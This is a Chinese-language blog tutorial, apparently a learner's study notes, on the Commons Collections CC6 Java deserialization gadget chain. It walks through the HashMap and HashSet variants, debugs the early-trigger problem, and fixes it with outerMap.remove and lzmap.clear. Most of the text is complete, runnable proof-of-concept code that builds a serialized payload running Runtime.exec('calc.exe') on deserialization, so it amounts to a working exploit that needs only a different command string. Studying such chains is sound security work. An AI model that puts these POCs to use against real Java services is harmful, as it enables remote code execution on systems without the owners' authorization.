java反序列化–CC6
前置
学完CC1后 我们发现CC1只能在8u71以前利用 那么 我们自然想知道CC链该怎么在8u71以后的利用方式 这就是CC6存在的意义
首先 8u71后为什么不能利用了:
主要原因是 sun.reflect.annotation.AnnotationInvocationHandler.readObject
的逻辑变化了
同样 我们也是通过照ysoserial中的代码进行学习
利用条件:
- Common-Collections 3.2.1
- 无 JDK 版本限制
CC6-demo分析
代码
java.io.ObjectInputStream.readObject()--> java.util.HashMap.readObject()--> java.util.HashMap.hash()--> org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()--> org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()--> org.apache.commons.collections.map.LazyMap.get()--> org.apache.commons.collections.functors.ChainedTransformer.transform()--> org.apache.commons.collections.functors.InvokerTransformer.transform()--> java.lang.reflect.Method.invoke()--> java.lang.Runtime.exec()
|
注意 这只是简化版的利用链 并不能直接运行 只是大致说下利用过程
既然8u71后sun.reflect.annotation.AnnotationInvocationHandler.readObject
的逻辑变化了
那么这样我们就不能正常调用TransformedMap
和LazyMap.get()
所以简单来说,解决Java高版本利用问题,实际上就是在找上下文中是否还有其他调用 LazyMap.get() 的地方
所以这条链子后面部分与CC1的LazyMap链的后面是一样的
所以我们重点关注这段代码:
从最开始到 org.apache.commons.collections.map.LazyMap.get()
也就是:
java.io.ObjectInputStream.readObject()--> java.util.HashMap.readObject()--> java.util.HashMap.hash()--> org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()--> org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()-->
|
为了解决调用LazyMap.get() 的问题:
我们找到的类是 org.apache.commons.collections.keyvalue.TiedMapEntry
(TiedMapEntry),在其getValue方法 中调用了 this.map.get
,而其hashCode方法调用了getValue方法
getValue:
public Object getValue() { return this.map.get(this.key); }
|
hashCode:
public int hashCode() { Object value = this.getValue(); return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
|
所以,想要触发LazyMap利用链,要找到就是哪里调用了 TiedMapEntry.hashCode
ysoserial中,是利用 java.util.HashSet.readObject
–> HashMap.put()
–> HashMap.hash(key)
–> TiedMapEntry.hashCode()
。
但实际上我发现,在 java.util.HashMap.readObject
中就可以找到 HashMap.hash()
的调用,去掉了最前面的两次调用(这不就是URLDNS的链吗)
我们两条链都看一下
CC6链
HashMap链
链子构造
先看看java.util.HashMap.readObject
里的调用
点进去一看
就是HashMap.hash()
所以在HashMap的readObject方法中,调⽤到了 hash(key) ,⽽hash方法中,调用到了 key.hashCode() 。所以,我们只需要让这个key等于TiedMapEntry对象,即可连接上前面的分析过 程,构成⼀个完整的Gadget
首先,我们先把恶意LazyMap构造出来
Transformer[] fakeTransformers = new Transformer[] { new ConstantTransformer(1) };
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] } ), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] } ), new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc.exe" } ), new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain);
|
其实和我们CC1里面写的是一样的
注意这里我使用了fakeTransformers
这是为了避免本地调试时触发命令执行 最后写POC的时候记得改成真正的Transformers
就行
现在,我们拿到了⼀个恶意的LazyMap对象 outerMap
将其作为 TiedMapEntry 的map属性:
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
|
然后 为了调用 TiedMapEntry.hashCode() ,我们需要将 tme 对象作为 HashMap 的⼀个key。注意, 这里我们需要新建⼀个HashMap,而不是用之前LazyMap利用链里的那个HashMap,两者没任何关 系
Map expMap = new HashMap(); expMap.put(tme, "valuevalue");
|
最后,我就可以将这个 expMap 作为对象来序列化了,不过,别忘了将真正的 transformers 数组设置 进来
Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(transformerChain, transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(expMap); oos.close();
System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object) ois.readObject();
|
合起来跑一下
package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class cc66 { public static void main(String[] args) throws Exception { Transformer[] fakeTransformers = new Transformer[] { new ConstantTransformer(1) };
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] } ), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] } ), new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc.exe" } ), new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey"); Map expMap = new HashMap(); expMap.put(tme, "valuevalue");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(transformerChain, transformers); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(expMap); oos.close();
System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object) ois.readObject(); } }
|
同样 出现了问题 代码运行没有问题 但是不能弹出计算器
所以问题是什么呢
首先 我们前面部分应该是没有问题的
最后序列化 反序列化的地方应该也是没有问题的 (我下了断点看了的)
那我们就重点看看后面写的代码
我是先这里下断点 一步一步debug看的
过程就不说了
最后锁定在这里:
好 debug看下
第一步会调用TiedMapEntry中的hashCode()
这里没什么问题
然后会进入getValue()
然后到LazyMap.get()方法
注意此时Key已经有了一个值keykey
?
我们什么时候向outerMap中传入了一个keykey对象?
注意 我们前面的keykey
实际上是一个键
是一个随意选择的键,用于与 outerMap
关联 与这里的keykey对象是两个完全不同的东西
在代码中,"keykey"
实际上并不直接作为一个预存在于 outerMap
中的对象。它是作为 TiedMapEntry
的一个构造参数,用来指定一个键名。当通过 TiedMapEntry
访问其值时,它会尝试从关联的 Map
(这里是 outerMap
)中查找给定的键(即 "keykey"
)。
outerMap
是由 LazyMap.decorate(innerMap, transformerChain)
创建的,这意味着它是一个装饰过的映射,其行为已经不是简单的键值对存储——而是当尝试访问一个不存在的键时,会执行特定的变换逻辑(在这里,就是恶意构造的变换器链)。
因此,直到尝试通过 TiedMapEntry
实例访问 "keykey"
的值之前,"keykey"
本身并不是 outerMap
中的一个实际存在的键。这一访问动作触发了 LazyMap
去查找该键,由于键不存在,它转而使用关联的变换器链尝试“计算”该键的值,从而启动了一连串导致命令执行的变换操作。
而这里 下一步直接掠过了我们的重要代码
它并没有执行我们需要的factory.transform(key)
这也是为什么我们没有触发计算器的原因
那我们回过头来看看什么时候传入了这个keykey对象
这个关键点就出在 expMap.put(tme, "valuevalue")
; 这个语句⾥⾯。 HashMap的put方法法中,也有调用到 hash(key) :(其实就是HashMap.put())
这里就导致 LazyMap 这个利用链在这里被调用了⼀遍,因为我们前面用了 fakeTransformers
,所以此时并没有触发命令执行,但实际上也对我们构造Payload产生了影响
解决:
只需要将keykey这个Key从outerMap中移除即可:
outerMap.remove("keykey") 。
|
接在expMap.put(tme, “valuevalue”)后面即可
POC
package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class CC6 { public static void main(String[] args) throws Exception { Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)}; Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc.exe" }), new ConstantTransformer(1), }; Transformer transformerChain = new ChainedTransformer(fakeTransformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey"); Map expMap = new HashMap(); expMap.put(tme, "valuevalue"); outerMap.remove("keykey"); Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(transformerChain, transformers); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(expMap); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); } }
|
成功调用
调用流程:
HashMap.readObject()->
HashMap.hash()->
TiedMapEntry.hashCode()->
TiedMapEntry.getValue()->
LazyMap.get()->
ChainedTransformer.transfomer()->
…后面就一样了
->ConstantTransformer.transform()
->InvokerTransformer.transform()
->Method.invoke()
->Class.getMethod()
->InvokerTransformer.transform()
->Method.invoke()
->Runtime.getRuntime()
->InvokerTransformer.transform()
->Method.invoke()
->Runtime.exec()
HashSet链
链子构造
这就是ysoserial中的
是利用 java.util.HashSet.readObject
–> HashMap.put()
–> HashMap.hash(key)
–> TiedMapEntry.hashCode()
。
HashSet.Put()
java.util.HashSet.readObject调用了put
put:
这个 put(HashMap) 方法中就调用了 hash 方法
HashMap.put()
–> HashMap.hash(key)
后面就不说了吧 一样的
好 直接开始构造POC
新构建了一个 hashset 类,然后将 TiedMapEntry 通过 add 方法塞入了 hashset 内,我以为这样就可以成功执行了,可事实并非这样
package org.example; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; import java.util.Map; public class test { public static void main(String[] args) throws Exception{ String cmd="calc"; Transformer[] transformers =new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd}) }; Transformer[] transformer = new Transformer[]{ new ConstantTransformer(1) }; ChainedTransformer c=new ChainedTransformer(transformer); Map inmap=new HashMap(); Map lzmap=LazyMap.decorate(inmap,c); TiedMapEntry tme=new TiedMapEntry(lzmap,"123"); HashSet hashset= new HashSet(); hashset.add(tme); Field field = ChainedTransformer.class.getDeclaredField("iTransformers"); field.setAccessible(true); field.set(c,transformers); FileOutputStream fos=new FileOutputStream("./ser"); ObjectOutputStream oos=new ObjectOutputStream(fos); oos.writeObject(hashset); oos.close(); FileInputStream fis =new FileInputStream("./ser"); ObjectInputStream ois=new ObjectInputStream(fis); ois.readObject(); } }
|
同样没弹出
问题也出在 像 HashMap 一样的问题
所以我们添加
所以
POC
package org.example; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; import java.util.Map; public class cc66 { public static void main(String[] args) throws Exception{ String cmd="calc"; Transformer[] transformers =new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd}) }; Transformer[] transformer = new Transformer[]{ new ConstantTransformer(1) }; ChainedTransformer c=new ChainedTransformer(transformer); Map inmap=new HashMap(); Map lzmap=LazyMap.decorate(inmap,c); TiedMapEntry tme=new TiedMapEntry(lzmap,"123"); HashSet hashset= new HashSet(); hashset.add(tme); lzmap.clear(); Field field = ChainedTransformer.class.getDeclaredField("iTransformers"); field.setAccessible(true); field.set(c,transformers); FileOutputStream fos=new FileOutputStream("./ser"); ObjectOutputStream oos=new ObjectOutputStream(fos); oos.writeObject(hashset); oos.close(); FileInputStream fis =new FileInputStream("./ser"); ObjectInputStream ois=new ObjectInputStream(fis); ois.readObject(); } }
|
调用成功